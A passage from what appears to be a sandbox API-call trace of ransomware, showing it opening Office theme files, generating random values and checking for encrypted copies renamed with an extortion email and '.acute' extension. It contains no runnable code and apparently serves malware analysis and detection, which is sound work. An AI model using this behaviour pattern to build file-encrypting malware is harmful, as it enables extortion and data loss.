Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.019] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.019] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=529) returned 1 [0274.019] CloseHandle (hObject=0x37c) returned 1 [0274.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf")) returned 0x20 [0274.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.020] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.020] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=77294) returned 1 [0274.020] CloseHandle (hObject=0x37c) returned 1 [0274.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm")) returned 0x20 [0274.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.023] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.024] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=547) returned 1 [0274.024] CloseHandle (hObject=0x37c) returned 1 [0274.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf")) returned 0x20 [0274.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.024] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.025] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=103737) returned 1 [0274.025] CloseHandle (hObject=0x37c) returned 1 [0274.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm")) returned 0x20 [0274.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.025] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.026] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=597) returned 1 [0274.026] CloseHandle (hObject=0x37c) returned 1 [0274.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf")) returned 0x20 [0274.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.026] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.027] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=68048) returned 1 [0274.027] CloseHandle (hObject=0x37c) returned 1 [0274.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm")) returned 0x20 [0274.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.027] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.027] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=429) returned 1 [0274.027] CloseHandle (hObject=0x37c) returned 1 [0274.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf")) returned 0x20 [0274.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.028] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.028] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=99561) returned 1 [0274.028] CloseHandle (hObject=0x37c) returned 1 [0274.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm")) returned 0x20 [0274.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.028] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.029] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=549) returned 1 [0274.029] CloseHandle (hObject=0x37c) returned 1 [0274.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf")) returned 0x20 [0274.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.029] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.030] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=65885) returned 1 [0274.030] CloseHandle (hObject=0x37c) returned 1 [0274.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm")) returned 0x20 [0274.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.030] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.031] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=462) returned 1 [0274.031] CloseHandle (hObject=0x37c) returned 1 [0274.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf")) returned 0x20 [0274.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.031] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.032] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=47666) returned 1 [0274.032] CloseHandle (hObject=0x37c) returned 1 [0274.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm")) returned 0x20 [0274.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.032] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.033] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=499) returned 1 [0274.033] CloseHandle (hObject=0x37c) returned 1 [0274.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf")) returned 0x20 [0274.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.033] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.033] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=59203) returned 1 [0274.033] CloseHandle (hObject=0x37c) returned 1 [0274.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm")) returned 0x20 [0274.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.033] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.034] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=533) returned 1 [0274.034] CloseHandle (hObject=0x37c) returned 1 [0274.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf")) returned 0x20 [0274.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.034] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.035] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=58092) returned 1 [0274.035] CloseHandle (hObject=0x37c) returned 1 [0274.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm")) returned 0x20 [0274.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.035] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0x80000000, 